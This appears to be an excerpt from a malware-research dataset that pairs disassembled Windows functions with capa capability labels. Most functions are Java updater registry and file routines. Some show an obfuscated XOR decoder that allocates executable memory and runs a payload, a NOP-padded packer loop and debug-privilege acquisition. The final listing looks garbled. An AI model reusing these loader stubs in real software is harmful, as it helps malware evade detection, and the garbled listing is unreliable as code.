joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10031390
Capabilities:
Query or enumerate registry value

Disassembly:
push edi
mov edi, dword [esp + 0x10]
test edi, edi
je 0x10031431
push esi
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x14]
push edi
push esi
push eax
push 0
push dword [esp + 0x20]
mov dword [esp + 0x28], 0
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, eax
test edx, edx
jne 0x1003142a
test esi, esi
je 0x1003142a
mov ecx, dword [edi]
test ecx, ecx
je 0x10031425
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10031416
cmp eax, 2
jbe 0x10031407
cmp eax, 7
jne 0x10031416
test cl, 1
jne 0x10031416
shr ecx, 1
cmp ecx, 1
jb 0x10031416
cmp word [esi + ecx*2 - 2], dx
jne 0x10031416
cmp ecx, 1
jbe 0x1003142a
cmp word [esi + ecx*2 - 4], dx
jne 0x10031416
pop esi
mov eax, edx
pop edi
ret 0xc
test cl, 1
jne 0x10031416
shr ecx, 1
cmp word [esi + ecx*2 - 2], 0
je 0x1003142a
xor eax, eax
mov word [esi], ax
mov eax, 0xd
pop esi
pop edi
ret 0xc
xor eax, eax
mov word [esi], ax
pop esi
mov eax, edx
pop edi
ret 0xc
push 0x80004005
call fcn.10006240
int3

Function at 0x10031440
Capabilities:
Delete registry value

Disassembly:
sub esp, 8
mov eax, dword [esp + 0xc]
mov dword [esp + 0xc], eax
test eax, eax
je 0x10031463
push dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
neg eax
sbb eax, eax
inc eax
add esp, 8
ret
call fcn.100305b0
test eax, eax
je 0x10031478
mov dword [esp], 0
lea eax, [esp]
jmp 0x10031484
mov dword [esp + 4], 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0x2021f
push 0
push 0
push 0
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
neg eax
sbb eax, eax
inc eax
test eax, eax
je 0x100314d3
push esi
push dword [esp + 0x14]
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [esp + 0x10]
neg eax
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x100314e0
Capabilities:
Delete registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0x2001f
push 0
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10031554
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push str.NewJREVersion
push dword [esp + 8]
call esi
push str.VisitorId
push dword [esp + 8]
call esi
push str.UpdateDetected
push dword [esp + 8]
call esi
push str.UpdAvailNotifyCnt
push dword [esp + 8]
call esi
push str.UpdAvailNotifyTime
push dword [esp + 8]
call esi
push str.UpdAvailElapsed
push dword [esp + 8]
call esi
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ecx
ret
Function at 0x10033020
Capabilities:
Delete registry value
Set registry value

Disassembly:
sub esp, 0x20
push ebx
push esi
push edi
push 0x20019
xor esi, esi
mov dword [esp + 0x24], 0
push str.Software
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [esp + 0x2c]
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
call fcn.10003a10
mov ebx, dword [esp + 0x20]
test eax, eax
jne 0x10033136
push 0x2001f
push str.JavaSoft
push ebx
lea ecx, [esp + 0x20]
call fcn.10003a10
test eax, eax
jne 0x10033132
mov edx, dword [esp + 0x34]
test edx, edx
jne 0x100330f3
push dword [esp + 0x30]
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push 0
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
push 0
push 0
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x1003312b
cmp dword [esp + 0xc], eax
jne 0x1003312b
cmp dword [esp + 0x10], eax
jne 0x1003312b
push str.JavaSoft
lea ecx, [esp + 0x24]
call fcn.10003850
mov edi, 1
jmp 0x10033138
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10033100
sub ecx, esi
mov esi, dword [esp + 0x14]
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edx
push 1
push 0
push dword [esp + 0x40]
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, 1
jmp 0x10033138
mov esi, dword [esp + 0x14]
xor edi, edi
test esi, esi
je 0x10033143
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x1003314e
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0x20
ret

Function at 0x10033160
Capabilities:
Set registry value

Disassembly:
call fcn.100305b0
test eax, eax
jne fcn.10033180
mov dword [esp + 8], str.SOFTWAREJavaSoftJava_UpdatePolicy
jmp fcn.10033180

Function at 0x10033180
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
test eax, eax
je 0x100331aa
push 4
lea ecx, [esp + 0x1c]
push ecx
push 4
push 0
push dword [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb eax, eax
inc eax
add esp, 8
ret
call fcn.100305b0
test eax, eax
je 0x100331d6
lea eax, [esp]
mov dword [esp], 0
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0x2021f
push 0
push 0
push 0
push dword [esp + 0x2c]
jmp 0x100331fa
lea eax, [esp + 4]
mov dword [esp + 4], 0
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0x2021f
push 0
push 0
push 0
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
neg eax
sbb eax, eax
inc eax
test eax, eax
je 0x1003323e
push esi
push 4
lea eax, [esp + 0x20]
push eax
push 4
push 0
push dword [esp + 0x28]
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x10]
neg eax
sbb esi, esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esi + 1]
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret
Function at 0x10033250
Capabilities:
Delete registry value
Set registry value

Disassembly:
call fcn.100305b0
test eax, eax
jne fcn.10033290
mov dword [esp + 8], str.SOFTWAREJavaSoftJava_UpdatePolicy
jmp fcn.10033290

Function at 0x10033290
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
push ebx
push esi
xor esi, esi
xor ebx, ebx
mov dword [esp + 8], esi
push edi
mov edi, dword [esp + 0x20]
test edx, edx
jne 0x10033311
test edi, edi
jne 0x100332c8
lea eax, [esp + 0xc]
push eax
push 0x2021f
push edi
push dword [esp + 0x24]
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
jmp 0x10033302
call fcn.100305b0
test eax, eax
mov dword [esp + 0x14], ebx
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0x2021f
push 0
push 0
push 0
je 0x100332f2
push dword [esp + 0x34]
jmp 0x100332f7
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edx, dword [esp + 0xc]
test edx, edx
je 0x1003336d
mov ebx, 1
jmp 0x10033315
mov dword [esp + 0xc], edx
test edx, edx
je 0x10033362
test edi, edi
jne 0x1003332a
push dword [esp + 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x10033357
mov ecx, edi
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10033330
sub ecx, esi
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push edi
push 1
push 0
push dword [esp + 0x2c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esp + 0xc]
mov esi, eax
neg esi
sbb esi, esi
inc esi
test ebx, ebx
je 0x1003336d
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
ret

Function at 0x10033460
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ecx
push esi
push str.SunJavaUpdateShutdownEvent
push 0
push 0x1f0003
call dword [sym.imp.kernel32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x10033488
push esi
call dword [sym.imp.kernel32.dll_SetEvent]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [esp + 0xc], 0
pop esi
je 0x100334da
call fcn.1002dfb0
call fcn.100314e0
call fcn.10030a20
test eax, eax
je 0x100334da
lea eax, [esp]
push eax
push 0x2021f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100334da
push str.SunJavaUpdateSched
push dword [esp + 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [esp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret
Function at 0x10033920
Capabilities:
Get common file path
Query environment variable
Write file on windows

Disassembly:
sub esp, 0x41c
mov eax, dword [0x100530a0]
xor eax, esp
mov dword [esp + 0x418], eax
push ebx
mov ebx, dword [esp + 0x424]
lea eax, [esp + 0xc]
push esi
push edi
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
mov cx, word [0x1003e6b4]
add esp, 8
mov word [esp + 0x224], cx
test eax, eax
je 0x1003398f
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__wasctime]
add esp, 4
test eax, eax
je 0x1003398f
push eax
lea eax, [esp + 0x228]
push str._r_n_s::
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x104
lea eax, [esp + 0x20]
push eax
push str.TMPDIR
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x100339ba
lea eax, [esp + 0x1c]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x100339d4
lea edi, [esp + 0x1c]
add edi, 0xfffffffe
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x100339c1
mov eax, dword [0x1003e9cc]
mov dword [edi], eax
lea ecx, [esp + 0x1c]
add ecx, 0xfffffffe
nop dword [eax + eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x100339e0
mov eax, dword [str.jusched.log]
mov dword [ecx], eax
mov eax, dword [0x10048d20]
mov dword [ecx + 4], eax
mov eax, dword [0x10048d24]
push 0
mov dword [ecx + 8], eax
mov eax, dword [0x10048d28]
push 0x80
mov dword [ecx + 0xc], eax
mov eax, dword [0x10048d2c]
push 4
push 0
mov dword [ecx + 0x10], eax
mov eax, dword [0x10048d30]
push 2
mov dword [ecx + 0x14], eax
lea eax, [esp + 0x30]
push 0x40000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10033ad5
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x10033a6b
push 0
lea eax, [esp + 0x14]
mov word [esp + 0x10], 0xfeff
push eax
push 2
lea eax, [esp + 0x18]
push eax
push esi
call edi
push 2
push 0
push 0
push esi
call dword [sym.imp.kernel32.dll_SetFilePointer]
lea ecx, [esp + 0x224]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10033a82
sub ecx, edx
lea eax, [esp + 0x10]
push 0
sar ecx, 1
push eax
lea eax, [ecx + ecx]
push eax
lea eax, [esp + 0x230]
push eax
push esi
call edi
mov ecx, ebx
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10033ab0
sub ecx, edx
lea eax, [esp + 0x10]
push 0
sar ecx, 1
push eax
lea eax, [ecx + ecx]
push eax
push ebx
push esi
call edi
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, dword [esp + 0x424]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1003b4ee
add esp, 0x41c
ret
Function at 0x1003a580
Capabilities:
Create directory
Query environment variable

Disassembly:
sub esp, 0x10
push esi
push edi
push 0x21a
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x1003a609
push 0x21a
push esi
push dword [esp + 0x24]
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov edi, eax
test edi, edi
jne 0x1003a5cf
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xcb
jne 0x1003a611
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
lea eax, [edi + 1]
pop edi
pop esi
add esp, 0x10
ret
cmp edi, 0x104
jbe 0x1003a611
lea eax, [edi*2 + 0x12]
push eax
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov esi, eax
add esp, 8
test esi, esi
je 0x1003a609
push edi
push esi
push dword [esp + 0x24]
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x1003a611
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
lea ecx, [esi - 2]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x1003a614
mov eax, dword [str.JavaLow]
mov dword [ecx], eax
mov eax, dword [0x10049a04]
mov dword [ecx + 4], eax
mov eax, dword [0x10049a08]
mov dword [ecx + 8], eax
mov eax, dword [0x10049a0c]
mov dword [ecx + 0xc], eax
mov ax, word [0x10049a10]
push 0
push esi
mov word [ecx + 0x10], ax
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
push 0
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push 1
push str.S:_ML__NW___LW_
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
call sub.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW
test eax, eax
je 0x1003a6c5
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorSacl]
test eax, eax
je 0x1003a6bb
push dword [esp + 0xc]
push 0
push 0
push 0
push 0x10
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoW]
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_LocalFree]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
mov eax, 1
pop edi
pop esi
add esp, 0x10
ret
Function at 0x1003aaa0
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
push 0x100000
lea eax, [esp + 0xc]
mov dword [esp + 4], 0xffffffff
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0xffffffff
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x14], 0xc
push eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 1
call dword [sym.imp.kernel32.dll_CreatePipe]
test eax, eax
je 0x1003ab3a
mov eax, dword [esp]
cdq
push esi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push edi
mov edi, dword [esp + 0x30]
mov dword [esp + 0x20], edx
cdq
mov dword [esp + 0x24], eax
mov eax, dword [edi]
push 2
mov dword [esp + 0x2c], edx
push edi
mov eax, dword [eax + 0x2d0]
call eax
mov esi, eax
test esi, esi
je 0x1003ab32
mov eax, dword [edi]
lea ecx, [esp + 0x1c]
push ecx
push 2
push 0
mov eax, dword [eax + 0x350]
push esi
push edi
call eax
mov eax, esi
pop edi
pop esi
add esp, 0x24
ret 8
xor eax, eax
add esp, 0x24
ret 8

Function at 0x1003abd0
Capabilities:
Read file on windows

Disassembly:
push ebx
push edi
mov edi, dword [esp + 0xc]
push dword [esp + 0x1c]
push edi
mov eax, dword [edi]
mov eax, dword [eax + 0x398]
call eax
mov ecx, dword [edi]
mov ebx, eax
push dword [esp + 0x1c]
push edi
mov ecx, dword [ecx + 0x39c]
call ecx
mov dword [esp + 0xc], 0
test ebx, ebx
jne 0x1003ac0a
pop edi
or eax, 0xffffffff
pop ebx
ret 0x14
push 0
lea ecx, [esp + 0x10]
push ecx
push eax
push ebx
push dword [esp + 0x24]
call dword [sym.imp.kernel32.dll_ReadFile]
mov ecx, dword [esp + 0xc]
test eax, eax
mov edx, 0xfffffffe
cmove ecx, edx
pop edi
mov eax, ecx
pop ebx
ret 0x14

Function at 0x1003ac40
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push dword [esp + 0x14]
push eax
mov ecx, dword [eax]
mov eax, dword [ecx + 0x398]
call eax
mov dword [esp + 4], 0
test eax, eax
jne 0x1003ac65
or eax, 0xffffffff
ret 0x18
push esi
mov esi, dword [esp + 0x1c]
test esi, esi
jne 0x1003ac75
lea eax, [esi - 2]
pop esi
ret 0x18
push 0
lea ecx, [esp + 0xc]
push ecx
push esi
push eax
push dword [esp + 0x20]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x1003ac95
mov eax, 0xfffffffd
pop esi
ret 0x18
push dword [esp + 0x10]
call dword [sym.imp.kernel32.dll_FlushFileBuffers]
xor eax, eax
mov ecx, 0xfffffffc
cmp esi, dword [esp + 8]
pop esi
cmovne eax, ecx
ret 0x18
Function at 0x1003c33a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1003c349
pop dword [ebp - 0x18]
mov eax, 0xaa29ed78
sub eax, 0x9a262a2f
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x2e5784d4
add dword [ebp - 0x28], 0x1ffac077
mov dword [ebp - 0x24], 0x8a6ee3c
sub dword [ebp - 0x24], 0xd673a1f7
mov dword [ebp - 0x20], 0xd96dbfc
add dword [ebp - 0x20], 0x3eb56832
mov dword [ebp - 0x1c], 0xfc050df2
sub dword [ebp - 0x1c], 0xfc050df2
lea eax, [ebp - 0x28]
push eax
mov eax, 0xd39401ee
add eax, 0x3c6fde8e
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xb6350a4d
add dword [ebp - 0x28], 0xbe3d5f09
mov dword [ebp - 0x24], 0x4f6ee5d
sub dword [ebp - 0x24], 0xc38a8ce8
mov dword [ebp - 0x20], 0xe618478d
sub dword [ebp - 0x20], 0x82a8db21
mov dword [ebp - 0x1c], 0xa37a5fe6
sub dword [ebp - 0x1c], 0xa37a5fe6
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x40ddb7f3
add eax, 0xcf262891
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3bb66
push 0
call eax
mov ecx, 0x4068
xor edi, edi
add edi, eax
mov edx, 0x10071200
add edx, dword [ebp - 0x18]
mov esi, 0xe2bdd20
xor dword [ebp - 0x10], 0x6d91e38c
mov ebx, dword [edx]
xor dword [ebp - 4], 0x2d189120
xor ebx, esi
xor dword [ebp - 8], esi
mov dword [edi], ebx
mov dword [ebp - 0x10], 0xa5dc6b2c
add edi, 0x70de3a46
add edi, 0x8f21c5be
add edx, 0xcd46d77
sub edx, 0xcd46d73
loop 0x1003c45b
add eax, 0xabb1f96a
add eax, 0x544efb09
mov ebx, eax
add eax, 0x8beb4a9c
sub eax, 0x8beb4a97
mov ecx, 0x69e26aa0
add ecx, 0xa61d9560
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0xcb61b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00cb6140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00cb6140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00cb6140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00cb6140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xcb6bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xcb6c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xcc887c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xcb6c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xcb6c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x456114
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov eax, 0x455ea4
call fcn.00406098
xor eax, eax
push ebp
push 0x45622e
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004029f4
test eax, eax
jg 0x456213
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00402a54
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.0040858c
mov edx, dword [ebp - 0x14]
mov eax, dword [0x458610]
call fcn.00404034
lea edx, [ebp - 0x20]
mov eax, dword [0x458610]
mov eax, dword [eax]
call fcn.00407e90
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.00455d98
mov ecx, dword [ebp - 0x1c]
mov eax, 0x459e0c
mov edx, 0x456244
call fcn.004042ec
mov eax, dword [0x459e0c]
call fcn.004044a0
push eax
push 1
push 0
push 0
call sub.kernel32.dll_CreateSemaphoreA
mov ebx, eax
test ebx, ebx
je 0x4561d8
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x4561d8
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4588ec]
mov eax, dword [eax]
call fcn.0044ea60
jmp 0x456213
mov eax, dword [0x4588ec]
mov eax, dword [eax]
call fcn.0044e95c
push 1
push 0
push 0x45624c
push 0x45627c
push 0x456290
mov eax, dword [0x4588ec]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, dword [0x4588ec]
mov eax, dword [eax]
call fcn.0044e974
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456235
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00404004
ret

Function at 0x40158f
Capabilities:
Enumerate pe sections
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push esi
push edi
call sub.KERNEL32.dll_GetTickCount
lea eax, [ebp - 0x104]
push eax
push 0x104
call sub.KERNEL32.dll_GetTempPathA

Function at 0x4015b0
Capabilities:
Enumerate pe sections

Disassembly:
cmp byte [ebp - 0x104], 0
jne 0x4016ff
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
rcl byte [edi - 0x73], cl
inc esp
or byte [eax], bl
cmp byte [ebp - 0x104], 0
jne 0x40188e
add byte [eax], al
add byte [ebx - 0x3ca2e73c], al
int3
push 0
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_GetFileAttributesExA
call sub.KERNEL32.dll_GetLastError
mov esi, eax
mov ecx, dword [0x423dd2]
inc ecx
cdq
idiv ecx
mov edi, eax
and edi, 0xffffffa8
mov dword [ebp - 0x108], edi
or esi, esi
jne 0x4019d7
or ebp, dword [eax]
add dword [eax], eax
add bh, bh
jne 0x4018dc
push edx
jmp 0x4018e6
pop ss
push 0x100
push dword [ebp + 0xc]
push ecx
push dword [0x662a2010]
call dword [0x662a1034]
jmp 0x4018fc
pop esi
pop ebp
ret 8
mov eax, dword [ebp - 0x108]
pop edi
pop esi
leave
ret